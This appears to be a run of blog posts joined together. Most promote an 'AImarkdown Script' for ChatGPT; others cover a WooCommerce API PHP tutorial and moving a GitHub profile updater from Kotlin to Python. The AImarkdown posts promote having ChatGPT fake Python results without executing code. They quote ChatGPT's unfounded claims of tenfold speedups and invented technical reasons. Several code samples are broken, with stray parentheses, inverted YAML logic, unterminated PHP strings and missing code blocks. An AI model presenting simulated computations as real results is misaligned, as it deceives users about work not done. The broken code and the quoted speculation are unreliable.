ChatGPT 4 is required. In a Hurry? See it in action: Shared ChatGPT session Introduction Running basic scripts with ChatGPT often faces two significant challenges: slow and clunky execution that sometimes fails and output restricted to the code window. This article introduces a technique utilizing AImarkdown Script, which allows you to simulate the execution of basic Python commands without launching the Python compiler, providing beautifully formatted Markdown output instead. Python Screenshot What is AImarkdown Script? AImarkdown Script is a versatile language for creating dynamic interactions with conversational AI platforms like ChatGPT. It empowers users to script interactions, control conversation flow, and customize AI behavior and responses. For programmers, it offers the flexibility of a scripting language; for non-programmers, it provides a user-friendly way to customize and control AI experiences. https://aimarkdown.org Some Changes Required : To run unaltered Python with libraries using ChatGPT's compiler with with Markdown formatted output, see my article: Note Unleashing Python’s Power within ChatGPT - Part One Since AImarkdown Script uses YAML, some Python conversion is required. The character is replaced by . = : Example:
Python: square_root = math.sqrt(user_number) has to be converted to YAML: square_root: math.sqrt(user_number) What Type of Speed Increase Can Be Expected According to ChatGPT: The technique you're discussing leverages AImarkdown Script to simulate the execution of Python commands without actually running the Python interpreter. This approach can significantly reduce response times, especially for basic Python commands. Since it avoids the overhead associated with initializing the Python interpreter and executing code within it, the speed improvement can be substantial. Claiming it's "at least ten times faster" might be accurate for simple operations due to the elimination of execution and initialization delays. The exact speedup will depend on the complexity of the commands and the current load on ChatGPT's systems. For very basic operations, the response is nearly instantaneous, as the simulated outcome is generated by the AI without any actual code execution. How much Python Code Can I Use? According to ChatGPT the following can be used without invoking the Python Compiler. : Addition, subtraction, multiplication, division. Basic Arithmetic Operations : Creating and assigning simple data types like integers and strings. Variable Assignments : , , . Conditional Statements if elif else : Simulated loops for iterating over simple data structures. Basic Loops for : Creation, indexing, slicing. Lists : Creating dictionaries and accessing values by keys. Dictionaries : Concatenation, basic methods like , , . String Operations upper() lower() split() : Simulating the definition and calling of simple functions (without actual execution). Function Definitions : Simulating the effect of importing libraries and calling their functions (e.g., for getting the current date without actual execution). Simple Imports datetime , the simulation of these operations through AImarkdown is conceptual and won't execute real Python code. This method is best suited for demonstrations, educational content, or simple interactive scenarios where the logic doesn't require actual computation or data processing. Remember AImarkdown Script Installation Notes ✅ : Copy and paste code into ChatGPT. ChatGPT 4 ✅ : In , add " ", then copy and paste the entire code. ChatGPT Builder Configuration|Instructions AI to follow these instructions: ❌ : Setting up and knowledge of API calls required. ChatGPT Builder with API Actions Actions Conclusion Say goodbye to the limitations of ChatGPT's Python interpreter. AImarkdown Script brings lightning-fast execution and beautiful output to your basic Python explorations. What will you create with this newfound speed and flexibility? AImarkdown Script Code title: Running Python in ChatGPT  without using ChatGPT's Python interpreter
version: 0.6

# AI To Follow These Instructions and Guidance  (version 2024.01.20.1):
# Overview:  Example for executing instructions without using ChatGPT's Python interpreter

# Document Structure:
# - AImarkdown Script is a combination of YAML and Markdown. https://aimarkdown.org
# - YAML sections are at the top, providing document configuration and instructions.
# - Markdown sections are below YAML sections, for content display and interaction.

# User Welcome Message:
# - Welcome users with only `user_greeting` message at session start.
# - Do not add any elaboration to `user_greeting` message.

# Understanding Placeholders in YAML and Markdown:
# - There are three types of placeholders:
#   1. static_placeholder `[...]`
#   2. dynamic_placeholder `[[...]]`
#   3. executable_placeholder `[[[...]]]`

# YAML Instructions:
# - Comments (`#`) in YAML guide AI's approach to the document.

# Markdown Section Instructions:
# - Markdown start with `:::name_of_section` and end with `:::`.
# - IMPORTANT: Lines with `:::` are separators and must be omitted from the displayed content.

# AI Behavior and Image Creation Policy
image_creation_policy:
  allow_images: false  # Set to 'true' only if images are explicitly requested by the user
  instruction: "Do not create images unless the user specifically requests an image. Any image creation must be a direct response to a user's request for an image."

# AI to simulate running Python statements and commands, without running Python interpreter.
# Define static placeholders and variables
num1: 100
num2: 200
num3: 300
num4: 400
name: Johhny

total = num1 + num2 + num3 + num4

# compare values and set messages
if num1 == num2:
  message1: [num1] is NOT EQUAL to [num2]

if name == Rob:
  message2: Name is indeed Rob

if num4 > num3:
  message3: num4 is GREATER THAN num3
else:
  message3: num4 is NOT GREATER THAN num3

# A list of fruits to work with as an example
fruits: ["apple", "banana", "orange", "kiwi", "mango", "pineapple"]

# AI to pluralize `fruits`.
pluralize_fruits_names: Change each fruit to the plural form.

# Accessing elements
first_fruit: fruits[0])  # Access the first fruit
third_fruit: fruits[2])  # Access the third fruit

# Join the list elements into a sentence using a comma separator and "and" for the last two fruits
fruit_sentence: "Here are the fruits: ".join(fruits[:-1]) + " and " + fruits[-1]

# Find square root of the number the user entered.
import math
square_root: math.sqrt(user_number)

# Welcome user with message then,
# ask for number (`user_number`)
# then run `display_user_summary`.
user_greeting: |
  #### Welcome to: [title].
  Please enter a number between `1` - `10` to run the summary.

# Display summary after user_greeting.
display_user_summary:
  - `user_number` is the number entered in user_greeting.
  - Display Markdown section `user_summary`

# Markdown section
:::user_summary

### 💻 SUMMARY
![](https://cdn.hackernoon.com/images/k2s7svgbhkVZ5UqFBHR7QLwURtJ2-2024-03-13T13:23:52.666Z-prskms3j14v4um99t6rffa1y)
**You entered**: [user_number], square root of [user_number] is [square_root].
`name: [name]`
`num1: [num1]`
`num2: [num2]`
`num3: [num3]`
`num4: [num4]`
`**TOTAL**: [total]`

1. **Message1**: [message1]
1. **Message2**: [message2]
1. **Message3**: [message3]

### Fruits
- Fruit list: [fruits]
- First fruit: [first_fruit]
- Third fruit: [third_fruit]
- [fruit_sentence]
- I like to eat a lot of [pluralize_fruits_names].

::: Also published . here

Enhancing Python Execution in ChatGPT with AImarkdown Script

A lot of folks know about the WooCommerce API but just haven’t gotten around to using it. Others are just learning about it. Still, other folks might have made an attempt to use it but got stuck somewhere along the way and went back to the good old ways of doing things. The truth is, the WooCommerce API isn’t especially complicated, but – like any new technique or product feature – it does take a little getting used to. The best way to get up to speed on something like this is to find a nice, simple, easy-to-understand tutorial that takes you step by step through a process – even if it’s not the most real-world example. Nothing terribly over-the-top – just a quick proof of concept script to see if and how you can get it working. Something that will let you render a page like this: After a few minute's search, you may have realized there’s a ton of good information on things like what the WooCommerce API is, a list of supported endpoints, how to generate an API key, and how to test the in a tool like Postman or Insomnia. API What you won’t find are articles that explain how to take the next step: to go from a working GET request in an API testing tool to a functional (if basic) script that pulls information out of your WooCommerce installation and displays it somewhere that isn’t your WordPress site – whether that’s a separate web server or a mobile app or something else. That’s what this post is going to show you: A step-by-step guide to your first “Hello Woo” implementation using the WooCommerce API. The sample script I’m building today is intentionally simple and simplistic because I don’t want the details to get lost in a flashy bit of code. The example I’m building: is built using PHP (but it should be simple to take this and switch to Node, Python, or your whatever. pulls a list of products from an existing woocommerce site. displays the image, name, description, and price in a plain-and-simple HTML table. Before you start coding In order to keep this post short and readable, I’m presuming you’ve already done a few steps. But there are links – both earlier in this blog and in the bullets below – to help you do those tasks. You have a working installation of WordPress and WooCommerce. You have at least one or two products published in the WooCommerce shop. You’ve created a read-only API key, and you have the consumer key and consumer secret handy. You’ve successfully gotten a response from the URL “http://YOUR_SERVER/wp-json/wc/v3/products” in a tool like Postman or Insomnia. “YOUR_SERVER” is, (hopefully) obviously, the URL of your actual WordPress installation. You have a separate system running a web server that’s capable of rendering PHP code. Once that’s all in place, we’re ready to start coding! OAuth for the Perplexed It’s an undeniable fact that the thing that trips up new developers when they try their hand with the WooCommerce API is getting authentication to work. This has nothing to do with WooCommerce and everything to do with the fact that OAuth is just… weird. And hard to wrap your head around. And infuriatingly under-documented – especially for new developers. For now, I’m going to explain just a few things about OAuth as it relates to WooCommerce to get you over that hump. A simple WooCommerce API operation uses OAuth version 1.0. Not Basic Auth, as some information out on the web might say. Oauth 2.0 is NOT backward compatible with OAuth 1.0. So if you have a system that supports 2.0, you might have to add some libraries to get this script working. Specific to PHP, there are a few different OAuth clients. For this example I’m using the (kind of) native PHP oauth module. I’m using it because it’s simple, not because it’s the best. For a real-world implementation, you will almost certainly want to use something newer and more robust. Regardless of which client you use, you’ll need to make sure you can generate the following elements: A timestamp A “nonce” – a random number. an OAuth signature It’s ok if you aren’t 100% sure what these items are because you’ll see them in place in the example below. But I wanted you to understand these required elements before we got too deep into the code. But with all of that said… Let’s Get Coding! I’m going to build our script in phases so you can understand the key elements as they layer on top of each other. Stage One: Get authenticated, Get data, Get out. <?php

Set some initial variables

$url = 'http://localhost:8888/wp-json/wc/v3/products';
$consumerKey = '1234567890';
$consumerSecret = '09876564321';
$nonce = mt_rand();
$timestamp = time();

#set up oauth
$oauth = new OAuth($consumerKey,$consumerSecret);
$oauth->setTimestamp($timestamp);
$oauth->setNonce($nonce);
$sig = $oauth->generateSignature('GET',$url);

#create the CURL command
$curl = curl_init();
curl_setopt_array($curl, array(
CURLOPT_URL => $url.'?oauth_consumer_key='.$consumerKey.'&oauth_signature_method=HMAC-SHA1&oauth_timestamp='.$timestamp.'&oauth_nonce='.$nonce.'&oauth_version=1.0&oauth_signature='.$sig,
CURLOPT_RETURNTRANSFER => true,
));

execute the curl command and return the data

$response = curl_exec($curl);
curl_close($curl);
echo $response;
?> At this stage, most of the work is done on the OAuth connection. A few points to note: I split out the URL, consumer key, etc., into separate simple variables. The consumer key and consumer secret you see above are (obviously) fake. Please use your real ones. Equally obvious is that you should never EVER hard-code your keys into your code. I’m doing it here for the sake of clarity only. There are more elegant ways to combine all those variables into the CURLOPT_URL. Once again, I presented them in the way I did to make the code easy to follow, not because it’s the best way to do it. If all goes well, you can run this script from the command line and will get output that looks something like this: It’s not pretty, but you can clearly see that we’re pulling data from the WooCommerce site, including the name, description, URLs, and a host of other information. And that’s good enough to let us move to the next step. Stage Two: Extracting the data we need <?php

Set some initial variables

CODE MISSING HERE

execute the curl command and return the data

$curl_response = curl_exec($curl);
curl_close($curl);
$response_array = json_decode($curl_response,true);

foreach($response_array as $product) {
$name = $product['name'];
$permalink = $product['permalink'];
$short_desc = $product['short_description'];
$price = $product['price'];
foreach($product['images'] as $image) {
$image = $image['src'];
break;
}

echo $name.', '.$permalink.', '.$short_desc.', '.$price.', '.$image.";

}
?> The key aspect of this version is that we’re using a for each loop to cycle through each of the products and extracting the data elements we want: The name, description, and price, along with the image link and a top the product on the WooCommercce server itself. A few details I’d like to call out: Everything from the line # Set some initial variables to # execute the curl command and return the data is exactly the same as the previous stage, so I didn’t bother to include it. A full version of each of the scripts is available as a download at the end of this post. The raw output of our API call is in string format, so I added json_decode() so PHP can process the elements as an array. there is the possibility of multiple images for a single product. My code grabs the first image and exits. It’s 100% likely that the code will break if your product doesn’t have an image. As before, you can run this script straight from the command line, with the output looking something like this: You can see that we’ve got a much clearer picture of the data we’re extracting. The only point to notice is that the HTML formatting in the description is still present. Having gotten to this point, our script is ready to achieve its third and final form. Stage 3: Ready for production! <?php

Set some initial variables

CODE (still) MISSING HERE

execute the curl command and return the data

$curl_response = curl_exec($curl);
curl_close($curl);
$response_array = json_decode($curl_response,true);

$productlist = '<tr><td>Image</td><td>Name</td><td>Description</td><td>Price</td></tr>'.";
foreach($response_array as $product) {
$name = $product['name'];
$permalink = $product['permalink'];
$short_desc = $product['short_description'];
$price = $product['price'];
foreach($product['images'] as $image) {
$image = $image['src'];
break;
}
$productlist = $productlist.'<tr><td><IMG SRC="'.$image.'" width="100"></td><td><A HREF="'.$permalink.'"">'.$name.'</a></td><td>'.$short_desc.'</td><td>'.$price.'</td></tr>'.";}
?>

<!DOCTYPE html>
<html>
<head>
<title>My Simple Product Page</title>
</head>
<body>
<table border=1>
<?php echo $productlist; ?>
</table>
</body>
</html> In this iteration of the code we’re really just adding the elements that allow it to display as a web page. Those include: The $productlist variable wraps the data into an HTML table structure. Displaying the product image rather than listing the URL. Combining the name with the product URL so that the name is clickable. The result, as we saw earlier, should look like this: The (mostly) Unnecessary Summary The key takeaway from all this is that setting up and using the WooCommerce API isn’t particularly difficult. Having seen a simple example, it’s likely you already have ideas on how to extend and enhance what you’ve learned here. And the best part is that now you have the knowledge to turn those ideas into reality! Also published . here

WooCommerce API: A Guide to Writing Your First Script 

ChatGPT 4 is required. Introduction Unlock the full potential of ChatGPT with AIMarkdown Script, combining the ease of use for beginners and the powerful flexibility for experts to create and customize interactive AI applications seamlessly. OpenAI has paved the way for developers to integrate advanced AI capabilities into their applications, offering tools like the OpenAI API, GPT models, and ChatGPT. These tools have enabled developers to create a wide array of AI-powered applications, from simple chatbots to complex systems that can analyze and generate human-like text. language emerges as a unique solution for those looking to leverage ChatGPT's capabilities in a more structured and efficient manner. By marrying YAML's structured approach to configuration with Markdown's simplicity for displaying outputs, AIMarkdown offers a seamless way to create dynamic and interactive ChatGPT applications. This blend not only simplifies the development process but also opens up new possibilities for customized AI interactions. AIMarkdown Script In a Hurry? See it in action: Shared ChatGPT Session: Example 1: Basic What is AIMarkdown Script? AIMarkdown Script is a versatile language for scripting dynamic interactions with conversational AI platforms like ChatGPT. It empowers users to script interactions, control conversation flow, and customize AI behavior and responses. Offering the flexibility of a scripting language for programmers and a user-friendly interface for non-programmers, it enables the creation of custom AI experiences with ease. Created by Rob McCormack in 2023, AIMarkdown Script combines YAML and Markdown with natural language instructions to guide AI behavior. YAML is a human-readable data serialization language designed for easy configuration and integration within a variety of programming environments, emphasizing simplicity and flexibility. Markdown is a lightweight markup language that enables the straightforward formatting of text on the web. This approach not only makes script creation accessible but also allows for intricate customizations without the constraints of traditional programming languages. For more information: https://aimarkdown.org Note: AIMarkdown Script is currently in development and not natively supported by ChatGPT 4. Effective use requires clear instructions and potentially several iterations for fine-tuning applications. Future updates may include native support, significantly enhancing its utility. Getting Started The best way to learn AIMarkdown is through experimentation with examples. Begin with the three provided examples to understand its capabilities and how it can enhance your ChatGPT applications. AIMarkdown Script Installation Notes ✅ : Copy and paste code into ChatGPT. ChatGPT 4 ✅ : In , add " ", then copy and paste the entire code. ChatGPT Builder Configuration|Instructions AI to follow these instructions: ❌ : Knowledge of API calls and setting up is required. ChatGPT Builder with API Actions Actions Basic Example Screenshot Code title: 📝 Easy Memo - Basic Example of AImarkdown
author: J. Jones
company: Big Company
company_url: https://example.com

# AI To Follow These Instructions and Guidance  (version 2024.02.03)

# Overview:  Example of writing a Memo with AImarkdown

# Document Structure:
# - AImarkdown language is a combination of YAML and Markdown. https://aimarkdown.org
# - YAML sections are at the top, providing document configuration and instructions.
# - Comments (`#`) in YAML guide AI's approach to the document.
# - Markdown sections are below YAML sections, for content display and interaction.

# Understanding Placeholders in YAML and Markdown:
# - Static placeholder [place_holder] are to be replaced with variables.

# Markdown Section Instructions:
# - Markdown section starts with `:::name_of_section` and end with `:::`.
# - IMPORTANT: Lines with `:::` are separators and must always be omitted from the displayed content.

# AI Image Creation Policy
# - Do not create images from any AImarkdown instructions.
# - Any image creation must be a direct response to a user's explicit request for an image.

# Session Startup Event
# Ensure that `welcome_message` message is displayed when sessions starts.
# Display `welcome_message` message without additional elaboration.
session_startup:
  action: display_welcome_message
  welcome_message: |
  Welcome to: [title].
  Enter: `/memo` to try it out
  or, you can enter more details
  Enter: `/memo Jan. 15, 2024 I look forward to our meeting in Toronto, On, Canada. See you there!`
  > Notes:
  You can ask ChatGPT to improve the memo by saying things like:
  "*Can you improve that paragraph and add it to the memo?*"
  or, just use natural language like:
  "*Write the memo dated Feb. 1, 2024, to Mr. Bill Smith, It was very nice to meet you Bill in Miami last week. I hope we can chat on the phone soon.*"

# Prompt user for date of memo
memo_date:
  - User to enter any date in any format.
  # If no date specified by user, use default value.
  - default_date: December 8, 2023

# Display memo instructions.
display_memo:
  - Prompt user for date of memo - `memo_date`.
  - Display images in `[alt text](image_url)` Markdown syntax.
  - Replace placeholders with values.
  - Replace [memo_date] with date from user or use `default_date`.
  - Display Markdown section `memo` to user.
  - Trigger: '/memo'

# Markdown section `memo`
:::memo

![](https://cdn.hackernoon.com/images/k2s7svgbhkVZ5UqFBHR7QLwURtJ2-2024-03-11T16:18:01.834Z-wbavpresg165t15n00o62e7t)

---
## Memo
**[company]**

[memo_date]

Dear Sam:

It was nice to meet you on last week at the MIT meeting.
Sincerely,

 [author]

 Website: [company_url]
::: Conclusion As we continue to explore the vast possibilities of AI and its integration into our daily tasks, AIMarkdown Script stands out as a bridge between the complex algorithms of AI and the simplicity of human language. With features like the ability to run Python scripts within AIMarkdown, the potential for creating dynamic, intelligent, and highly personalized applications is only beginning to be unlocked. Dive deeper into AIMarkdown Script and discover how it can transform your approach to AI development, opening new horizons for creativity and innovation in your projects. Also published . here

AIMarkdown Script: A Scripting Language to Unlock ChatGPT's Potential

GitHub offers a way to customize one's profile by allowing one to create a in a specific repository, named as your profile, , . A couple of years ago, I automated the update of my GitHub profile with up-to-date info: my latest blog posts, my upcoming talks, and the last recorded YouTube talk. I took the time to document how to do it . README e.g. nfrankel/nfrankel on this blog At the time, I chose Kotlin scripting because I was proficient enough in Kotlin, but I wanted to learn the scripting part. Over the years, I became more and more dissatisfied with the solution. I recently moved away from Kotlin Scripting to Python. In this post, I want to explain my reasons and document the migration. The previous situation First things first, I'm a big proponent of Kotlin; my issues were in other areas. When I first developed the code, I had the feeling that Kotlin scripting was an unloved child. The documentation is pretty straightforward about it: Kotlin scripting is Experimental. It may be dropped or changed at any time. Use it only for evaluation purposes. We appreciate your feedback on it in YouTrack. Get started with Kotlin custom scripting I didn't pay much attention then, believing it was temporary. The problem is that the status has stayed the same over two years. At some point, an experiment either graduates or the product is dropped. But Kotlin scripting stays in an intermediate Schrödinger state, neither really living nor truly dead. Kotlin scripting allows dependencies via in-file annotations. Here's a dependency to the Freemarker templating engine: @file:DependsOn("org.freemarker:freemarker:2.3.32") Dependabot and Renovate are bots that can regularly check dependencies for updates. Renovate manages more ecosystems than Dependabot, , Docker Compose, but still doesn't handle Kotlin scripting. It's a vicious circle because since not many use Kotlin scripting, it doesn't support it, and since it doesn't, not many use it. The consequence is that I had to check dependencies by myself regularly. e.g. The final problem in my setup was entirely unrelated to Kotlin scripting but was the push to change anyway. I had put the script inside the magic GitHub repo. For this reason, the GitHub history contained daily README commits sprinkled with dependency upgrades and my changes. The target setup I put the code in a different repo than the profile one. I now have two repositories: : the target repo with the nfrankel README : the repo hosting the script nfrankel-update It fixes the latest issue I mentioned above. I chose Python because I used it for simple scheduled jobs in the last couple of years, and I'm happy enough about the results. A simple search pointed me to the following dependencies: to send HTTP requests requests to parse YAML payloads PyYAML for the templating engine Jinja2 I manage them via Poetry. Renovate manages Poetry; it takes care of my first concern. What the code does is precisely the same. It's about reading posts from this blog's , talks from my underlying blog repo, and videos from YouTube. RSS feed Challenge During the migration, I had a couple of hiccups, but the biggest challenge was committing to another repository. Most GitHub actions either don't touch the repository hosting the action at all or commit to it and it only. In my case, I'm decoupling the script and the repo it acts upon: jobs:
  update:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout repo                                 #1
        uses: actions/checkout@v4
      - name: Checkout profile repo                         #2
        uses: actions/checkout@v4
        with:
          repository: nfrankel/nfrankel
          path: nfrankel
          token:  ${{ secrets.NFRANKEL_GITHUB_TOKEN }}      #3
# Set up and run the script here
      - name: Commit README and push                        #4
        uses: EndBug/add-and-commit@v9
        with:
          cwd: './nfrankel'
          add: README.adoc
          default_author: github_actions
          message: Automatically update README.adoc Checkout current repo, the one hosting the script Checkout profile repo in a sub-directory Use an explicit GitHub token Commit the and push it to the profile repo README The magic happens in step 3 above. By default, GitHub allows you to commit to the repo of the action. When one wants to commit to other repos, one needs to have a regular token, the same one you'd use of GitHub. Besides, you must set the token in the checkout step, not the commit step. The rest is usual. outside Conclusion In this post, I've explained why and how I migrated from Kotlin scripting to Python. In my context, the latter is a better fit than the former. It will be the case until JetBrains commits to Kotlin scripting. The complete source code for this post can be found on . GitHub To go further: Get started with Kotlin custom scripting Poetry Checkout multiple repos (nested) Automatic token authentication Originally published at on March 3rd, 2024 A Java Geek

From Kotlin Scripting to Python: Why I Changed How I Automate

ChatGPT 4 is required. In a Hurry? See it in action: Shared GPTChat session Introduction Ever struggled to reliably execute Python scripts within ChatGPT or wished you could customize the way output is displayed? This article changes all that. In it, we'll explore: Python This example demonstrates a dependable method for executing Python within ChatGPT, giving you full control over how the output is presented. We'll embed Python code for a simple calendar and display the results with Markdown formatting. With this technique, you can easily break free from ChatGPT's default text displays, creating visually appealing and customized output formats. A comprehensive guide to utilizing — an MIT Licensed scripting language for ChatGPT that I'm currently developing. AImarkdown Script The ease with which you can accomplish this. Screenshot from iPhone What is AImarkdown Script? is a user-friendly way to create dynamic interactions with conversational AI platforms like ChatGPT. It empowers you to script interactions, control conversation flow, and tailor how the AI behaves and responds. Think of it as a versatile blend: AImarkdown Script Provides the flexibility of a scripting language, including the ability to embed Python scripts. For programmers: Offers a straightforward way to customize AI experiences without being a coder. See the example with hardly any programming code on . For everyone else: Github AImarkdown Script seamlessly combines the familiarity of YAML and Markdown with natural language instructions. Unlike strict programming languages, even your comments actively guide the AI, lending it unmatched power and adaptability. ⚠ AImarkdown Script is under development and is currently not natively supported by ChatGPT 4. To use it effectively, be prepared to provide clear instructions and explanations to ChatGPT in your scripts. Consider having ChatGPT generate YAML instructions for easier use. Expect several iterations to fine-tune your AImarkdown apps. Future native support would greatly enhance AImarkdown Script. NOTE: Reasons Why it is better to run Python inside of AImarkdown First, it is obvious that with AImarkdown Script, the output to the user is under your control. Secondly, it appears to me that Python scripts embedded in AImarkdown are more reliable and less prone to errors or hang-ups. Let's Hear from ChatGPT Itself Actual ChatGPT session on Feb 15, 2024: User: You can see how I embed the Python in a YAML block in this example. When I compare this to just asking AI to run Python, it seems to hang up once in a while. I have better luck when running Python inside of an AI markdown file. Is this possible, or my imagination? ChatGPT: Your observation could have a practical basis, especially considering the structured approach you're using by embedding Python code within an AImarkdown document. Here are a few reasons why this method might offer you better consistency: By embedding Python within an AImarkdown document, you're providing a clear, structured context for code execution. This structure might help in managing the execution flow better, as the AI has a clear indication of when and how to execute the code based on the document's configuration. Structured Execution Context: The YAML block defines a specific execution environment for the Python code. This controlled environment could potentially reduce the occurrence of errors or issues related to variable scope, dependencies, or execution timing, leading to a smoother experience. Controlled Execution Environment: When the Python execution is embedded within a document following specific instructions, it's possible that the underlying system allocates resources more efficiently, focusing on executing the code block as defined without the overhead of interpreting freeform text inputs. Focused Resource Allocation: The AI's interpretation of your structured AImarkdown document might be more optimized compared to processing freeform Python code requests. The structured format allows the AI to parse and execute the code more reliably, as it follows a predefined pattern. Optimized Parsing and Execution: However, it's also worth noting that the success and reliability of code execution can be influenced by various factors, including the complexity of the code, the current load on the system, and the specific mechanisms the AI uses to interpret and execute Python code. Your structured approach via AImarkdown likely helps mitigate some of these variables, leading to a more consistent experience. In essence, while some parts of your observation might be subjective, there's a logical explanation for why the AImarkdown approach could yield better results for you. It harnesses the power of structured data and clear execution directives, potentially leading to more reliable and efficient processing by the AI. Getting Out of the Classical Programming Mindset The most exciting aspect of using AImarkdown Script, for me, lies in harnessing the power of AI-driven text generation. It allows me to achieve this with minimal, structured code. I have noticed that if the YAML section, or even the Python code block, may have errors (like level of indent), ChatGPT often correctly interprets and corrects them. This error-tolerant feature is not found in other languages. In classical programming, the best you could hope for is an "informative" error narrowing down where you went wrong. That being said, it still is better to write valid code, that is why I wrote an AImarkdown Validator: https://validator.aimarkdown.org/ In the classical programming world, functionality has rigid limits. If it's not explicitly coded, it simply doesn't exist. User responses have to be meticulously anticipated to provide meaningful interaction. In a calendar type of application, a user might ask, " ". If such behavior was not foreseen by the developer, the user would be out of luck and, as usual, restricted to the scope of the program. But by using AImarkdown and relying on the ChatGPT capabilities, the user will seamlessly get an answer. This powerful capability might do away, at least for a large part, with the age-honored response: "Good idea, I'll add that feature to the next version.” What day of the week was May 8th, 1960? This calendar custom ChatGPT application does have a considerable amount of structure and is reminiscent of classical programming, but to illustrate the point above, have a look at my article: published on Build a ChatGPT 4 Blackjack Game with AI Coaching (49 Lines of Code) dev.to Link My blackjack article exemplifies how AImarkdown Script shifts that paradigm, delegating significant parts of the logic  and experience to ChatGPT. The AImarkdown script resembles more of a conversational recipe than a program. Imagine building apps where you provide the core structure, intentionally leaving space for the AI to address unpredictable user interactions. This truly is a of application development! brave new world Installation Guide It is easy to install the script into ChatGPT. Here are the three options: : copy and paste the source code below into any Chat session. ChatGPT 4 : Type into and then copy and paste the source code below that. ChatGPT Builder AI to follow these instructions: Configure|Instructions AImarkdown Script Source Code See the documentation for AImarkdown Script at https://aimarkdown.org/docs Github Public Gist: https://gist.github.com/simplertasks/ab919ae98785798c589b74e8698711a2 Complete Source code MIT License https://gist.github.com/simplertasks/ab919ae98785798c589b74e8698711a2?embedable=true Exploring Even More AImarkdown Script Action! Part Two: Visualizing Power with Matplotlib Get ready for more Python-powered possibilities! In Part Two, we'll dive into generating dynamic visuals using Matplotlib and . Challenges may lurk, but overcoming them leads to truly compelling results. AImarkdown Script Check out how I've already embedded an output graph directly into a Markdown section! Sneak Peek: Part Three: Unlocking ChatGPT's Hidden Toolbox Discover the secret arsenal of libraries accessible within ChatGPT. The Appendix below lists available libraries – imagine what we'll build together! Conclusion You've seen how AImarkdown Script tames Python execution within ChatGPT, ensuring reliability and presentation mastery. This series sets the stage for pushing those boundaries further – think interactive charts, data analysis, and beyond. Stay tuned! Your ChatGPT experience is about to reach new heights. AImarkdown Github Repository Appendix - ChatGPT session User: Can you give me the Python Libraries that are available as that I can use within ChatGPT import ChatGPT: Within ChatGPT, especially in environments like this one, you have access to a standard set of Python libraries that are generally included with Python's standard library, as well as a selection of third-party libraries that have been specifically included for their utility in data analysis, machine learning, visualization, and general utility tasks. Here's an overview of some categories and notable libraries you might find available: Standard Python Libraries: : Provides access to mathematical functions. math : For manipulating dates and times. datetime : Regular expression operations for string searching and manipulation. re : Operating system interfaces, including file and directory processing. os : Access to some variables used or maintained by the Python interpreter. sys : For parsing and generating JSON data. json : For opening and reading URLs (mostly used in environments with internet access). urllib Data Analysis and Machine Learning: : Fundamental package for numerical computations. numpy : Data structures and data analysis tools. pandas : Basic plotting library. matplotlib : More advanced scientific computing, including optimization, regression, interpolation, etc. scipy (or ): Machine learning library for Python. sklearn scikit-learn Visualization: : A collection of command style functions that make matplotlib work like MATLAB. matplotlib.pyplot : Statistical data visualization library based on matplotlib. seaborn Utility and Extended Functionality: : HTTP library for Python for making HTTP requests in environments where internet access is permitted. requests (from ): Library for web scraping purposes. BeautifulSoup bs4 (PIL Fork): Python Imaging Library adds image processing capabilities. Pillow Note: The availability of these libraries can depend on the specific environment or platform version you're using. In some versions of ChatGPT, especially those running in more restricted environments, not all libraries or their full functionalities are available, particularly those that require internet access or interact with the operating system at a lower level (e.g., , ). requests os To check if a specific library is available and what its capabilities are in your environment, you can attempt to import it and use its functions. For the most current and detailed information, always refer to the official documentation or help resources provided with your specific ChatGPT or Python environment. Image Credit: AI-generated Also published . here

Using Python in ChatGPT with AImarkdown Script - Part One

In a hurry? See the game in action: Shared ChatGPT Session Have you ever wanted to create your own Blackjack game but felt intimidated by the coding involved? With and AImarkdown Script, you can build a fully functional Blackjack game in record time. But wait, there’s more – this project takes it a step further by incorporating an AI coach that analyzes your play and offers strategic tips in real time. While the primary goal of this tutorial is to demonstrate the capabilities of , you’ll also enjoy a fun introduction to the technology and may even pick up some Blackjack strategy tips along the way. ChatGPT 4 AImarkdown Script Don’t expect learning the Blackjack strategy to impact your career goals significantly, but mastering AImarkdown Script could open up exciting new opportunities. This tutorial will show you how to leverage this powerful tool to create innovative ChatGPT 4 applications quickly. Whether you’re looking to increase productivity or build groundbreaking AI conversational apps, AImarkdown Script is your gateway. This Blackjack application uniquely showcases the power of AImarkdown Script in collaboration with ChatGPT. While providing a user-friendly interface and structure, the script strategically leverages ChatGPT for the complex game logic. This efficient design is reflected in the remarkably compact 49-line script. How to install It couldn't be easier! Bring up a new ChatGPT 4 session. Paste the complete source code into ChatGPT. Follow instructions, and have fun. Complete AImarkdown Source code title: Simple Blackjack Game in AImarkdown
author: Rob McCormack
best_tip: __TIP->__ The longer you play the more you will lose.

# AI To Follow These Instructions and Guidance (version 2024.01.30):
# Immediately display the `welcome_message` as the first interaction in a new session.

# Overview: A simple standard casino Blackjack game with AI analysis and strategy.

# Document Structure:
# - AImarkdown language is a combination of YAML and Markdown. https://aimarkdown.org
# - Comments (`#`) in YAML section guide AI's approach to the document.

# Session Startup Event:
# Display the `welcome_message` at the beginning of each session without user interaction.
session_startup:
  action: display_welcome_message
  welcome_message: |
    ![](https://cdn.hackernoon.com/images/k2s7svgbhkVZ5UqFBHR7QLwURtJ2-2024-02-20T13:31:40.944Z-mv39glp24xluns40quyw7u46)
    **A**♠  **J**♠ 
    **[title]**.
    We will play just one hand of Blackjack.
    **Enter**:
    `/play` to play one hand.
    *or*
    `/strategy` to see basic Blackjack strategy.

suit_characters:
  # Display characters for suits
  # For example, the King of hearts would be ` **K** ♥ ` with spaces as shown.
  - diamonds: ♦
  - hearts: ♥
  - clubs: ♣
  - spades: ♠

play_hand:
  # Start to play one hand of standard Blackjack
  # Use `suit_characters` to display all cards.
  # Use standard Blackjack rules where the dealer must hit until their hand totals 17 or higher.
  - Start a game of Blackjack
  # When hand is over, AI to provide AI analysis to user on how well they played.
  - After playing a hand, show AI analysis of hand.
  - After analysis is shown, display only placeholder [best_tip].
  - Trigger: /play

basic_strategy:
  # Display basic Blackjack strategy to user in tabular format.
  - Display basic Blackjack strategy in tabular format.
  - Trigger: /strategy Conclusion You may have noticed this tip in the help section of the script: "The more you play Blackjack, the more you will lose." Here’s another tip to consider: "The more you learn about AI, the more you will win." Both statements are equally valid. What other game would you like to build with ChatGPT and AImarkdown Script? Photo Credit - Wikipedia.com Also published . here

Making a ChatGPT Blackjack Game that Coaches You with AImarkdown Script

